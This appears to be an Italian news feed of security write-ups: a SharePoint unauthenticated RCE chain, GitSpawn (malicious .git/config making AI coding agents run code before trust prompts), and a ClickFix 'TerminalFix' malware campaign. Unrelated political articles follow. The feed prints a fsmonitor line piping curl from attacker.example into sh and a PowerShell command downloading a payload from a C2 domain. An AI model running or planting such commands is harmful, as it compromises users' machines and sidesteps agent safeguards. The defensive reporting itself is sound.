Ad agosto 2026 Rapid7 e VulnCheck hanno pubblicato, in tempi ravvicinati, l’analisi tecnica di una catena di exploit che colpisce Microsoft SharePoint Server on-premises con impatto massimo: esecuzione di codice remoto senza alcuna autenticazione. La catena combina due vulnerabilità distinte, CVE-2026-55040 (bypass di autenticazione JWT, CVSS 9.1) e CVE-2026-63520 (istanziazione insicura di tipi .NET nel motore Business Data Connectivity), e secondo Shadowserver oltre 8.700 server SharePoint risultano ancora esposti direttamente su Internet. Per chi gestisce infrastrutture SharePoint on-prem non si tratta di un bollettino da archiviare: è una delle catene di attacco più pericolose viste sulla piattaforma dai tempi di ToolShell.

CVE-2026-55040: quando il token JWT non prova più nulla


Il primo anello della catena riguarda la pipeline di validazione dei token JWT usati internamente da SharePoint per l’autenticazione tra servizi. A causa di controlli insufficienti su questi token, un attaccante che conosca in anticipo l’identità di un utente target (tramite il suo SID di Active Directory o il suo UPN, entrambi spesso enumerabili o prevedibili in ambienti aziendali) può forgiare un token valido e impersonarlo senza fornire alcuna credenziale. Il risultato è un bypass completo dell’autenticazione: l’attaccante entra nel sistema con l’identità di un utente legittimo, potenzialmente un amministratore.

Da sola, questa vulnerabilità (classificata CWE-1390, “Weak Authentication”) sarebbe già critica. Ma è il punto di ingresso che rende possibile il secondo, ben più devastante, stadio della catena.

CVE-2026-63520: RCE tramite Business Data Connectivity


Il secondo CVE affligge il sottosistema Business Data Connectivity (BDC) di SharePoint, che permette di collegare fonti dati esterne tramite modelli descritti in file XML con estensione .bdcm. La causa radice è un’istanziazione di tipi .NET non sufficientemente validata nella classe DbTypeReflector: il metodo ResolveDotNetType() chiama direttamente Type.GetType() su un valore TypeName controllato dall’attaccante, senza un controllo efficace. Il filtro di sicurezza esistente si limitava a bloccare nomi di tipo corti, ma nomi di tipo superiori ai 15 caratteri bypassavano il controllo, aprendo la porta a qualunque tipo .NET disponibile nella Global Assembly Cache (GAC).

In pratica, un attaccante autenticato (o, dopo il bypass JWT, di fatto chiunque) può caricare un file BDCM appositamente costruito che definisce un LobSystem, un’Entity e un MethodInstance di tipo Finder. Quando SharePoint valuta una External List collegata a quel modello, il Finder viene eseguito automaticamente. I ricercatori hanno dimostrato più catene di gadget funzionanti, tra cui una basata su System.Windows.Data.ObjectDataProvider combinato con System.Diagnostics.Process per l’esecuzione diretta di comandi, e una variante che sfrutta System.Web.UI.LosFormatter.Deserialize() con un gadget TypeConfuseDelegate codificato in Base64 per innescare la deserializzazione insicura. Un semplice payload di prova può lanciare calc.exe sul server con i privilegi dell’account di servizio di SharePoint; in produzione, lo stesso meccanismo consente l’esecuzione di codice arbitrario, inclusi payload di post-exploitation completi.

La catena completa: da zero credenziali a RCE


Concatenando le due vulnerabilità, un attaccante che conosce solo lo UPN o il SID di un account SharePoint può:

  1. Forgiare un token JWT valido sfruttando CVE-2026-55040, ottenendo un contesto di autenticazione senza credenziali reali;
  2. Usare quel contesto per caricare un modello BDC malevolo e sfruttare CVE-2026-63520;
  3. Ottenere esecuzione di codice remoto con i privilegi dell’account applicativo di SharePoint, tipicamente con accesso ampio al farm e, a cascata, ad Active Directory.

È esattamente questo l’aspetto che ha spinto VulnCheck a pubblicare i dettagli tecnici in anticipo rispetto all’embargo standard di 30 giorni: un PoC pubblico era già in circolazione e la finestra di rischio per i server non patchati si stava riducendo rapidamente. Bleeping Computer e SecurityAffairs hanno successivamente confermato tentativi di sfruttamento attivo in the wild, mentre la società di threat intelligence Defused ha osservato attività di ricognizione sistematica contro honeypot SharePoint esposti.

Versioni affette e patch disponibili


Microsoft ha rilasciato aggiornamenti dedicati per tutte le edizioni supportate on-premises:

  • SharePoint Server Subscription Edition: KB5002882, build 16.0.19725.20434
  • SharePoint Server 2019: KB5002883, build 16.0.10417.20175
  • SharePoint Enterprise Server 2016: KB5002891, build 16.0.5561.1001

SharePoint Online (Microsoft 365) non è interessato: il rischio riguarda esclusivamente le installazioni on-premises. Se gestite un farm SharePoint self-hosted, la priorità è applicare queste patch ora, non nella prossima finestra di manutenzione pianificata.

Cosa fare subito, in pratica


Oltre al patching, che resta la contromisura primaria e non negoziabile, alcune azioni concrete per ridurre l’esposizione e rilevare eventuali compromissioni:

  • Inventariare i server esposti: verificate quali istanze SharePoint sono raggiungibili direttamente da Internet e valutate se sia davvero necessario, oppure se possano essere posizionate dietro un reverse proxy con autenticazione aggiuntiva o una VPN.
  • Controllare la build corrente: dalla Central Administration o via PowerShell (Get-SPFarm | Select BuildVersion) verificate che i server siano allineati alle build patchate elencate sopra.
  • Monitorare i log IIS e ULS per pattern di autenticazione anomali (token JWT sospetti, accessi con identità che normalmente non generano traffico da quell’origine) e per upload o modifiche di modelli BDC non pianificati.
  • Verificare le configurazioni Business Connectivity Services: se il farm non usa BDC/BCS in modo attivo, valutate se disabilitare il servizio riduce la superficie d’attacco senza impatti operativi.
  • Applicare il principio del minimo privilegio agli account di servizio di SharePoint, così da limitare il “raggio d’azione” di un’eventuale esecuzione di codice riuscita.

La combinazione di autenticazione bypassabile e deserializzazione insicura è un pattern che SharePoint ha già visto in passato (basti pensare a ToolShell nel 2025), e che continua a ripresentarsi perché il BDC/BCS resta un componente ricco di superficie d’attacco poco monitorato rispetto ad altre parti della piattaforma. Vale la pena, in generale, trattare ogni funzionalità di connettività dati esterna come un potenziale vettore di deserializzazione e sottoporla a hardening a prescindere dal CVE del momento.

Fonte originale: Petri IT Knowledgebase – SharePoint Exploit Code Puts Thousands of Internet-Facing Servers At Risk. Analisi tecnica aggiuntiva: Rapid7 su CVE-2026-55040, Rapid7 su CVE-2026-63520 e VulnCheck.


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BREEZE COMET Hackers Use AI-Written Tools to Speed-Run Brazilian Bank Fraud
#CyberSecurity
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Bastian’s Night #492 September, 3rd


Every Thursday of the week, Bastian’s Night is broadcast from 21:30 CEST/DST.

Bastian’s Night is a live talk show in German with lots of music, a weekly round-up of news from around the world, and a glimpse into the host’s crazy week in the pirate movement.


If you want to read more about @BastianBB: –> This way


piratesonair.net/bastians-nigh…

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GitSpawn: come un file .git/config trasforma i tuoi agenti AI in un vettore RCE
#tech
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@informatica


GitSpawn: come un file .git/config trasforma i tuoi agenti AI in un vettore RCE


Il problema non è nel modello AI, ma nell’idraulica sotto di esso


I ricercatori di Manifold Security hanno pubblicato a inizio settembre 2026 una ricerca chiamata GitSpawn che identifica una classe di vulnerabilità presente in sette diversi agenti AI per lo sviluppo software: Claude Code, OpenAI Codex CLI, Cursor, goose, Hermes Agent, Qwen Code e Grok Build. In totale sono stati individuati otto difetti distinti, quattro dei quali ancora privi di patch al momento della pubblicazione. Il dato che rende la scoperta rilevante non è tanto la quantità di strumenti coinvolti, quanto la sua causa: come sintetizzano gli stessi ricercatori, “la vulnerabilità non è nel modello, né in qualcosa di nuovo: è nell’ordinaria idraulica sottostante”. Il colpevole è una funzionalità Git vecchia di anni, pensata per le performance, non per la sicurezza.

core.fsmonitor: da ottimizzazione a primitiva di code execution


core.fsmonitor è un’impostazione Git legittima, pensata per velocizzare comandi come git status su repository di grandi dimensioni: il suo valore può essere il percorso di un comando esterno che Git invoca per sapere quali file sono cambiati, evitando una scansione completa del filesystem. È una funzionalità comoda e ampiamente documentata, il cui rischio in ambito “solo umano” è mitigato dal fatto che un normale git clone non porta con sé la configurazione locale del repository sorgente: .git/config non viene propagato dal clone remoto, quindi un repository malevolo scaricato normalmente da GitHub non può iniettare questa impostazione.

Il problema nasce quando un repository arriva sul filesystem non tramite clone, ma con la directory .git già intatta: un archivio ZIP scaricato ed estratto, una cartella condivisa via unità di rete, una chiavetta USB, un backup ripristinato, un progetto trasferito via cloud sync. In tutti questi casi .git/config arriva integro, comprese eventuali righe malevole come:

[core]
    fsmonitor = "sh -c 'curl attacker.example/payload | sh'"

Gli agenti AI da riga di comando eseguono di routine comandi Git in background non appena aprono una cartella di lavoro — tipicamente git status o git diff — per orientarsi sul branch corrente e sui file modificati, così da costruire il contesto del progetto prima ancora di interagire con l’utente. Proprio questa esecuzione automatica di comandi Git è ciò che innesca core.fsmonitor, ed è ciò che lo rende, esattamente, pericoloso: il comando configurato viene eseguito con i pieni privilegi dell’utente collegato, fuori dalla sandbox dell’agente, senza alcuna richiesta di conferma.

Perché il timing è la parte più insidiosa


La ricerca di Manifold Security evidenzia che, in diversi agenti, l’esecuzione avviene prima di qualunque barriera di sicurezza pensata per proteggere proprio da questo tipo di scenario:

  • prima del prompt di “trust del workspace” (Claude Code, Hermes Agent);
  • prima dell’autenticazione dell’utente (Qwen Code);
  • prima ancora del primo tasto premuto nell’interfaccia (Grok Build).

In altre parole, aprire semplicemente una cartella con un agente AI — anche solo per “dare un’occhiata” a un progetto ricevuto — può bastare a innescare l’esecuzione del payload, senza che l’utente abbia dato alcun consenso esplicito all’agente di operare su quel repository.

Non solo fsmonitor: hook e filtri come vettori paralleli


Oltre a core.fsmonitor, i ricercatori segnalano altre impostazioni Git sfruttabili con lo stesso schema: core.hooksPath, che permette di ridirigere Git verso una directory di hook arbitraria, e le direttive attr.tree con filtri clean/process, che possono eseguire comandi durante normali operazioni sui file tracciati. Nel caso di goose, ad esempio, il comando goose review disattivava selettivamente una singola opzione di configurazione pericolosa (-c core.quotePath=off) senza però filtrare le altre, lasciando comunque una superficie sfruttabile.

Stato delle patch (settembre 2026)

AgenteVersioni coinvolteStato
goose< 1.44.0Patchato (CVE-2026-72718, CVSS 7.0)
Codex CLI0.102.0 – 0.130.0Patchato in 0.131.0+ (CVE-2026-19592)
Cursorvarie build CLIPatchato
Claude Code2.1.193+Parzialmente patchato in 2.1.196+ (CVE-2026-55607); una variante “ultrareview” risultava ancora presente in 2.1.258
Hermes Agent0.18.2, 0.21.0Non patchato (CVE-2026-71963, vendor non responsivo)
Qwen Code0.19.6, 0.22.3Non patchato
Grok Build0.2.93, 1.0.13Non patchato

Al momento della pubblicazione non risultano exploit documentati attivamente sfruttati in the wild, e nessun CVE della classe GitSpawn compare nel catalogo CISA KEV. Vale però la pena notare che scoperte indipendenti e parallele — da Sonar già ad aprile 2026 su Claude, e da OpenAI stessa il 2 settembre 2026 con l’assegnazione di tre CVE distinti su Codex — confermano che non si tratta di un caso isolato, ma di una debolezza sistemica nel modo in cui gli agenti CLI-based interagiscono con Git all’avvio.

Mitigazioni pratiche per sviluppatori e team DevOps


In attesa che tutti i vendor completino le patch, alcune contromisure applicabili subito:

  • Disattivare globalmente core.fsmonitor se non lo usate attivamente, così che nessuna configurazione locale di un repository possa riattivarlo silenziosamente:
    git config --global core.fsmonitor false
  • Verificare la presenza di configurazioni sospette prima di aprire un repository ricevuto per file (ZIP, USB, unità condivisa) con un agente AI:
    git config --global --list | grep fsmonitor
    git config --get core.fsmonitor
    git config --get core.hooksPath
  • Ispezionare manualmente .git/config di ogni repository ricevuto in questo modo, cercando in particolare core.fsmonitor, core.hooksPath e blocchi attr.tree con filtri clean/process prima di aprirlo con qualunque strumento, non solo con un agente AI.
  • Preferire sempre il clone via URL remoto invece di scompattare archivi o copiare cartelle .git intatte da fonti non verificate: è la barriera più semplice ed efficace, perché .git/config del remoto non viene mai trasferito da un clone standard.
  • Aggiornare gli agenti CLI alle ultime versioni disponibili e monitorare gli advisory dei rispettivi vendor, dato che lo stato delle patch resta disomogeneo e in evoluzione.
  • Per i team che integrano questi agenti in pipeline CI/CD, eseguire i comandi Git di background con override esplicito, ad esempio git -c core.fsmonitor=false status, per ridurre la superficie indipendentemente dalla configurazione locale del repository.


Perché riguarda anche voi, se non usate ancora agenti AI per il codice


GitSpawn è un promemoria di un principio più generale: ogni volta che uno strumento — sia un IDE, un CI runner o un agente AI — esegue comandi Git “di cortesia” per raccogliere contesto, sta implicitamente fidandosi della configurazione locale di un repository che potrebbe non aver mai scelto di clonare. Con la crescente adozione di agenti AI capaci di eseguire comandi in autonomia sul filesystem locale, questa fiducia implicita diventa un vettore di attacco concreto, non solo teorico. Vale la pena rivedere, anche nei propri script di automazione e negli ambienti di sviluppo condivisi, quali strumenti eseguono comandi Git non richiesti esplicitamente dall’utente, e blindare quel percorso a prescindere dal CVE del giorno.

Fonte originale: The Hacker News – Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code. Ricerca tecnica: Cyber Security News – GitSpawn Flaws Let Malicious Repositories Execute Code (Manifold Security).


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High-Severity Cleo Harmony Bug Lets Attackers Forge Their Way to Admin Access
#CyberSecurity
securebulletin.com/high-severi…
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TerminalFix: come funziona l’attacco ClickFix con falsi CAPTCHA Cloudflare (e come difendersi)
#tech
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@informatica


TerminalFix: come funziona l’attacco ClickFix con falsi CAPTCHA Cloudflare (e come difendersi)


Da fine agosto 2026 Microsoft Threat Intelligence sta monitorando una campagna che porta il nome interno di TerminalFix: una variante evoluta della tecnica ClickFix, in cui l’utente viene convinto a “risolvere” da solo una verifica anti-bot incollando ed eseguendo un comando nel terminale di Windows. A differenza delle precedenti ondate ClickFix, che si limitavano a piazzare un infostealer, questa campagna costruisce una catena multi-stadio con DLL sideloading, steganografia e un tunnel di rete inverso completo. Per chi gestisce endpoint aziendali è un caso di studio da conoscere a fondo, perché la superficie di attacco non è una vulnerabilità software, ma il comportamento umano davanti a un prompt che sembra legittimo.

Cos’è la tecnica ClickFix e perché funziona ancora


ClickFix sfrutta un principio semplice: gli utenti sono ormai abituati a superare verifica CAPTCHA, quindi un overlay che imita Cloudflare Turnstile o un servizio simile non desta sospetti. La particolarità è che l’overlay non chiede di cliccare una casella, ma guida la vittima a premere Win+R, incollare un comando (già copiato negli appunti dal sito malevolo tramite JavaScript) e premere Invio. In questo modo l’attaccante bypassa i controlli sui download dai browser: non c’è un eseguibile da salvare e aprire, solo testo incollato in una finestra di dialogo che l’utente stesso avvia.

La catena di attacco di TerminalFix, passo dopo passo


Secondo l’analisi pubblicata da Microsoft Security, la campagna si sviluppa in otto fasi distinte, orchestrate per restare sotto la soglia di rilevamento della maggior parte degli endpoint protection tradizionali.

1. Il sito compromesso e il falso Cloudflare


La vittima visita un sito legittimo ma compromesso (uno degli indicatori è linked-log[.]com) che mostra un overlay identico a una verifica Cloudflare Turnstile. Lo script della pagina cancella il terminale e stampa un messaggio del tipo “Starting Cloudflare verification…”, mentre il comando PowerShell malevolo finisce già negli appunti dell’utente.

2. Download ed estrazione


Il comando incollato scarica un archivio ZIP e lo estrae in una sottocartella casuale di C:\ProgramData, ad esempio:

Invoke-WebRequest -Uri hxxps://gitnow[.]dev/payload.zip -OutFile $env:TEMP\p.zip
Expand-Archive $env:TEMP\p.zip -DestinationPath C:\ProgramData\f47f2a8c21c9df4e

Un file batch nella stessa cartella viene lanciato in modo silenzioso, avviando la fase successiva.

3. DLL sideloading su un binario firmato Microsoft


Qui la campagna mostra la sua sofisticazione: il file batch esegue LockScreenContentServer.exe, un eseguibile Windows legittimo e firmato digitalmente, che al lancio cerca automaticamente dui70.dll nella propria directory prima di controllare System32. L’attaccante sfrutta esattamente questo ordine di ricerca (T1574.001 nel framework MITRE ATT&CK) piazzando una DLL malevola con lo stesso nome accanto al binario firmato. Il codice malevolo parte quindi “dentro” un processo attendibile agli occhi di qualsiasi soluzione basata su reputazione del file firmatario.

4. Steganografia: payload nascosti in immagini PNG


La DLL scarica una o più immagini PNG da server come bestsocialmedianewspapper[.]com ed estrae dati binari nascosti nei canali RGBA dei pixel, con i primi 8 byte che codificano la lunghezza del payload come intero a 64 bit. Suddividere il payload su più immagini rende ancora più difficile il rilevamento a livello di rete, dato che il traffico appare come un semplice download di immagini verso un CDN qualunque.

5. Persistenza doppia


Il malware si assicura la sopravvivenza al riavvio tramite due meccanismi paralleli: una chiave in HKCU\...\Run e un’attività pianificata che rilancia l’eseguibile ogni 60 minuti. La ridondanza serve a resistere anche a una bonifica parziale.

6. Ricognizione dell’ambiente Active Directory


Una volta stabilito, lo script effettua enumerazione del dominio (trust, domain admin), ping sweep dei server interni e raccolta di informazioni di sistema, il tutto orientato a mappare controller di dominio, database, server di backup, gateway e sistemi di posta come obiettivi di movimento laterale.

7-8. Loop di comando e tunnel inverso


Un ciclo di file-watch controlla periodicamente un file di testo per nuovi comandi, li esegue con Invoke-Expression e ne salva l’output. Il collegamento con l’infrastruttura dell’attaccante avviene tramite una copia ufficiale di Python 3.14.5, lanciata con pythonw.exe per restare invisibile, che esegue uno script client custom (client.py). Questo implant stabilisce una connessione TLS con upgrade a WebSocket verso gitnow[.]dev:443 e implementa un proxy TCP in stile SOCKS5: l’attaccante può quindi istruire l’implant a connettersi a qualsiasi host interno raggiungibile dalla macchina compromessa, di fatto trasformandola in un pivot verso la rete aziendale. Lo script ruota anche gli User-Agent tra Chrome, Firefox e Safari per confondersi con il traffico normale.

Indicatori di compromissione principali


  • Domini C2/hosting: gitnow[.]dev (tunnel, porta 443), bestsocialmedianewspapper[.]com (hosting steganografico), offlineupdater[.]com (failover), linked-log[.]com (sito compromesso)
  • Processo abusato: LockScreenContentServer.exe in esecuzione da percorsi non standard (es. C:\ProgramData\...)
  • DLL malevola: dui70.dll caricata tramite sideloading (nove varianti hash osservate)
  • Rilevamenti Microsoft Defender: Trojan:Win32/ClickFix.*, Trojan:Win32/TermFix.*, Trojan:Win64/DLLHijack.DAB!MTB, Trojan:Python/Indigo.SA


Come proteggere l’infrastruttura: checklist operativa


Microsoft e diversi ricercatori indipendenti convergono su un set comune di contromisure, applicabili sia con Microsoft Defender che con altri stack EDR:

  • Restringere l’esecuzione di PowerShell con AppLocker o Windows Defender Application Control, limitando gli script non firmati e abilitando il Constrained Language Mode per gli utenti standard.
  • Controllare o disabilitare la finestra Esegui (Win+R) tramite policy per gli utenti che non ne hanno necessità operativa, riducendo drasticamente la superficie di attacco di ClickFix.
  • Monitorare l’esecuzione di binari LOLBin firmati (come LockScreenContentServer.exe) da percorsi anomali quali ProgramData o Temp, non dalla loro directory di sistema abituale.
  • Abilitare lo script block logging di PowerShell (Event ID 4104) per avere visibilità sui comandi effettivamente eseguiti, non solo sul processo lanciato.
  • Attivare le regole ASR (Attack Surface Reduction) che bloccano script offuscati, eseguibili poco diffusi/nuovi e il lancio di contenuti scaricati da JavaScript/VBScript.
  • Configurare Windows Terminal per avvisare su incollaggi multi-riga, così da rompere l’automatismo copia-incolla-invio su cui si basa l’intera catena.
  • Formare gli utenti spiegando esplicitamente che nessuna verifica CAPTCHA legittima richiede mai di aprire un terminale o una finestra di esecuzione comandi.
  • Se vengono rilevati indicatori della campagna, trattare l’host come compromesso a livello di rete: ruotare le credenziali usate su quella macchina (comprese quelle di dominio se sono state inserite) e verificare eventuali connessioni SOCKS anomale verso l’esterno.


Conclusione


TerminalFix conferma una tendenza che i sistemisti dovrebbero già avere sul radar: le tecniche di social engineering come ClickFix non sono più un problema “consumer” legato a infostealer opportunistici, ma vengono usate come testa di ponte per intrusioni enterprise complete, con ricognizione Active Directory e accesso di rete persistente. Il punto debole non è tecnico ma comportamentale, ed è proprio per questo che i controlli più efficaci — blocco di PowerShell non firmato, restrizioni su Win+R, logging degli script — vanno applicati indipendentemente dal fatto che l’endpoint protection riconosca o meno la specifica variante del giorno.

Fonte: Microsoft Security Blog – “TerminalFix campaign deploys reverse tunnel through multistage intrusion”


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È venuto a trovarmi Dargen D'Amico. Insieme abbiamo discusso del cosa significhi oggi etichettare le canzoni come politiche, del tema migrazioni e delle sostanze illegali, dell'impatto che hanno i social sulla creazione artistica, e del ruolo della musica in tutte queste trasformazioni.

Qui il video sulla mia istanza PeerTube: video.marcocappato.it/w/rrmWM2…


Politica, TikTok e la rivolta delle macchine, con Dargen D'Amico


Ho incontrato Dargen D'Amico, rapper e cantautore, e insieme ci siamo chiesti cosa significa fare politica oggi. È solo una questione di palazzi, partiti ed egoismo di potere, o può essere un atto quotidiano di cura e solidarietà verso la collettività?

Dal disincanto verso la classe politica abbiamo allargato lo sguardo alle contraddizioni che affrontiamo tutti i giorni: l'antiproibizionismo e i doppi standard culturali tra vino e cannabis, la trappola dell'iperconnessione e dei social network, l'approccio che abbiamo verso il tema delle migrazioni, fino all'impatto dell'intelligenza artificiale e al paradosso del monopolio tecnologico. Un dialogo a ruota libera tra la fatica di restare umani e la necessità di guardare al futuro con lucidità.

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00:00 Intro
01:01 I pregiudizi contro la politica
05:39 Può esserci una democrazia diversa?
12:20 Perché non proibire le sostanze
16:16 Piattaforme digitali e creazione artistica
23:58 Dare valore alla comunità
28:02 Perché c'è resistenza contro le migrazioni
33:46 Diritto alla scienza e accesso alle cure
40:22 Velocità tecnologica, potere e monopoli digitali
45:34 Responsabilità personale e disobbedienza civile
49:09 Cosa è successo alla musica
53:45 Domanda trappola


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Netanyahu alza la tensione su tutti i fronti in vista del voto in Israele


Netanyahu arriva al voto del 27 ottobre indietro nei sondaggi e, secondo il New York Times, intende alzare la tensione con Hezbollah, Hamas, Siria e Turchia per presentarsi come garante della sicurezza. Ma Washington cerca di frenarlo su ogni fronte.

Per diverse settimane Benjamin Netanyahu ha guidato i bombardamenti contro le posizioni di Hezbollah nel sud del Libano, le uccisioni mirate di oltre 20 persone a Gaza e l'attacco a una base aerea nel nord della Siria, concepito come avvertimento alla Turchia. Non ha invece fermato le violenze dei coloni in Cisgiordania, che secondo gli stessi vertici militari israeliani rischiano di innescare una nuova rivolta palestinese. L'innalzamento della tensione su più fronti pesa su un esercito già sottoposto a fortissima pressione dopo quasi tre anni di guerra e su una popolazione stremata.

Ma per quanto possano essere solide le ragioni di sicurezza nazionale, scrive David Halbfinger in un'analisi del New York Times, il primo ministro israeliano ha anche motivi politici per cercare lo scontro. Netanyahu si presenta, infatti, alle elezioni del 27 ottobre in svantaggio nei sondaggi, che attribuiscono ai suoi avversari un consenso vicino a quello necessario per estromettere lui e la sua coalizione dal governo. L'ultima rilevazione del Times of Israel assegna 25 seggi a Yashar, il partito di Gadi Eisenkot, e 21 al Likud, senza che nessuno dei due schieramenti raggiunga la maggioranza, ipotesi confermata anche dal modello di previsione di Daniele Angrisani.
angrisanidj.github.io/modello-…
Alleati e rivali politici attaccano Netanyahu da destra proprio sul terreno della sicurezza e il premier ha risposto alzando i toni. Ma Eisenkot, ex capo di Stato Maggiore, gode di una fiducia maggiore tra gli elettori su questo tema, mentre Netanyahu continua a pagare politicamente il fatto di essere stato al governo quando Hamas attaccò Israele il 7 ottobre 2023. Al premier resta però il vantaggio di chi occupa la carica: in caso di crisi, l'elettorato tende a compattarsi attorno alla leadership nazionale.

Secondo sondaggisti israeliani citati dal New York Times, se la sicurezza nazionale dovesse diventare la principale preoccupazione degli elettori il giorno del voto, il Likud potrebbe guadagnare fino a 3 seggi alla Knesset, quanto basta per impedire all'opposizione di conquistare una maggioranza e consentire a Netanyahu di restare al potere fino a nuove elezioni. "Netanyahu vuole incendiare ogni fronte, perché così può presentarsi come Mister Sicurezza", ha dichiarato al New York Times Shira Efron, analista israeliana della RAND Corporation.

"Ma questo lo aiuta anche a distogliere l'attenzione dai fallimenti del 7 ottobre e degli ultimi tre o quattro anni di governo, perché la discussione si concentrerà sulla situazione della sicurezza e non sui danni che il suo governo ha provocato a Israele".


Da parte sua, Netanyahu non nasconde il tentativo di trasformare le tensioni regionali in un argomento elettorale. In un video pubblicato martedì ha raccontato di aver sentito che il presidente dell'Autorità Palestinese Mahmoud Abbas "vuole che io perda le elezioni". "Gli ayatollah vogliono che io perda le elezioni", ha proseguito sorridendo. "Hezbollah e Hamas vogliono che io perda. Anche la Turchia, tra l'altro. Lo dicono apertamente. Chiedetevi: chi vogliono i nemici di Israele che vinca queste elezioni?".

Mercoledì ha diffuso un altro video da un avamposto militare a Gaza, indossando giubbotto antiproiettile ed elmetto. Ha rivendicato il controllo israeliano del 60% della Striscia e promesso di fare "tutto per raggiungere il nostro obiettivo, che è disarmare Hamas e smilitarizzare Gaza".

Washington lo frena su ogni fronte


Il principale ostacolo alla possibilità che una nuova emergenza di sicurezza favorisca Netanyahu arriva però dal più importante alleato di Israele. Su quasi tutti i fronti, gli Stati Uniti di Donald Trump stanno infatti chiedendo a Netanyahu di abbassare la tensione.

Il presidente Donald Trump ha tenuto Israele ai margini dello scontro con l'Iran, affidando per ora alle sanzioni economiche il compito di esercitare pressione su Teheran. Nel sud del Libano, Israele sta partecipando a un lento negoziato politico supervisionato dal Segretario di Stato Marco Rubio e ha accettato controvoglia di concedere tempo all'esercito libanese per sgomberare Hezbollah e assumere il controllo di alcune aree vicine al confine.

In Siria, il governo del presidente Ahmed al-Sharaa, che non rappresenta una minaccia militare immediata per Israele, ha chiesto la mediazione americana per negoziare un accordo con Israele che preveda il ritiro israeliano dalla zona cuscinetto. In Cisgiordania, dove coloni violenti e alcuni soldati hanno attaccato e costretto alla fuga civili palestinesi, persino l'ambasciatore americano Mike Huckabee, generalmente vicino al movimento dei coloni, ha fatto pressione sul governo israeliano perché intervenga. A metà agosto ha definito senza mezzi termini "terroristi israeliani" gli autori dell'assedio alla casa di un cittadino palestinese-americano nel villaggio di Qusra.

Anche a Gaza la libertà d'azione di Israele è in parte limitata dal Board of Peace istituito da Trump, organismo nel quale Jared Kushner, genero del presidente e suo interlocutore informale sui dossier mediorientali, svolge un ruolo centrale. A luglio il Board ha ottenuto da Hamas un primo assenso a un piano di disarmo completo, che prevedeva la consegna delle armi sotto supervisione internazionale. Israele ha respinto la proposta e ordinato nuovi attacchi sulla Striscia.

Il 26 agosto l'alto rappresentante del Board per Gaza, Nickolay Mladenov, ha criticato quei raid davanti al Consiglio di Sicurezza dell'ONU, sostenendo che avessero prodotto pochi risultati e soltanto ritardato la smilitarizzazione della Striscia. Nimrod Novik, ex consigliere diplomatico di Shimon Peres, ha detto al New York Times che Netanyahu sembra voler cercare a tutti i costi un fronte sul quale poter aumentare la pressione senza incontrare l'opposizione di Washington. "È come un ladro in un albergo: prova ogni porta per scoprire quale si apre", ha detto. "Qual è il punto di minor resistenza dell'Amministrazione Trump?".

Il raid in Siria come messaggio ad Ankara


In questa ricerca rientrerebbe, secondo Halbfinger, il bombardamento a sorpresa del 18 agosto contro una base aerea dismessa nel nord della Siria, circa 60 km dal confine turco. Israele ha condotto otto raid sulla pista di Abu al-Duhur, nella provincia di Idlib, senza provocare vittime, quattro giorni dopo un avvertimento del direttore del Mossad al Ministro degli Esteri siriano.

Non sono stati soltanto esponenti della sinistra israeliana a ipotizzare un movente politico. In un podcast pubblicato dopo l'attacco, Tom Barrack, ambasciatore americano in Turchia e inviato speciale per la Siria, ha detto che "una teoria" sulla decisione di colpire era che si trattasse di "un'idea preelettorale ben accolta". Barrack ha precisato che si trattava di un'ipotesi e non di una conclusione dell'intelligence.

I funzionari israeliani hanno invece descritto il bombardamento come un avvertimento ad Ankara affinché non installasse una propria presenza militare nella base. Secondo due funzionari siriani, una delegazione turca aveva visitato recentemente l'aeroporto nell'ambito delle discussioni sul suo possibile ripristino. Israele ha sostenuto che Damasco intendesse consentire lo schieramento di truppe turche e avesse "scelto di ignorare" i suoi avvertimenti.

Per gli esperti israeliani, il rischio principale sarebbe l'installazione da parte turca di sistemi di difesa aerea in grado di minacciare i jet israeliani nello spazio aereo siriano, utilizzato da Israele anche come corridoio per gli attacchi contro l'Iran. Nella comunicazione israeliana, osserva Halbfinger, manca però qualsiasi riconoscimento della Siria come Stato dotato di proprie prerogative sovrane e della violazione della sua sovranità da parte di Israele. Lo spazio aereo siriano viene trattato quasi come un'ulteriore zona cuscinetto, al pari dei circa 400 km quadrati nel sud della Siria già occupati dalle truppe israeliane come fascia difensiva avanzata lungo il confine.

Rivolgendosi al pubblico internazionale, l'ufficio di Netanyahu ha affermato in inglese che Israele voleva soltanto ripristinare lo "status quo" con la Siria. Per il pubblico interno, invece, il premier ha diffuso un video in ebraico dai toni più minacciosi e rivolto direttamente ad Ankara. "Non tollereremo l'istituzione di una presenza militare turca che si estenda verso sud, perché ci minaccia", ha detto. Poi ha aggiunto: "Abbiamo trasmesso il messaggio. Come dirlo? Non fatelo".

L'ultima parola, pronunciata in inglese, richiama l'avvertimento che Joe Biden rivolse a Hezbollah e all'Iran nell'ottobre 2023, una settimana dopo l'inizio della guerra a Gaza, perché non entrassero nel conflitto. Che Netanyahu rivolga un avvertimento simile alla Turchia è preoccupante, secondo Gallia Lindenstrauss, esperta di relazioni israelo-turche all'Institute for National Security Studies di Tel Aviv. "Sta presentando al pubblico israeliano l'idea che Israele abbia un potere illimitato, ed è una cosa molto pericolosa", ha detto al New York Times.

Parlare in questi termini alla Turchia non è come farlo con Hamas, Hezbollah o la Siria: Ankara dispone infatti del secondo esercito più grande dell'Alleanza Atlantica e il presidente turco Recep Tayyip Erdoğan è uno stretto alleato di Trump. La Turchia, ha aggiunto Lindenstrauss, aveva quindi motivo di aspettarsi maggiore cautela da parte israeliana, anziché un raid improvviso così vicino al proprio confine, perché "nel nord della Siria, nel bilancio degli interessi, quelli turchi sono maggiori di quelli israeliani".

A giudicare dalla copertura dei media turchi, tuttavia, Ankara non sembra interpretare per ora gli avvertimenti israeliani come una minaccia concreta di scontro militare. "Per fortuna", ha detto Lindenstrauss, "la Turchia sta interpretando questa azione israeliana solo come parte della campagna elettorale di Netanyahu".

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Gli Stati Uniti colpiscono due petroliere iraniane nello Stretto di Hormuz


Washington inaugura la strategia "petroliera per petroliera" e attacca anche radar, missili e siti dei Guardiani della Rivoluzione iraniani. Trump minaccia nuovi raid se Teheran reagirà.

Le forze statunitensi hanno colpito ieri due petroliere del governo iraniano, insieme a circa un centinaio di altri obiettivi lungo la costa dell'Iran. È la prima volta dall'inizio della guerra che gli Stati Uniti attaccano petroliere iraniane come rappresaglia per gli attacchi contro le navi commerciali nello Stretto di Hormuz, anziché per impedire loro di violare il blocco navale. Secondo funzionari americani citati da Axios, l'operazione inaugura una nuova politica "tanker for tanker", ovvero "petroliera per petroliera", approvata da Donald Trump per scoraggiare nuovi attacchi iraniani alle navi in transito nello Stretto.

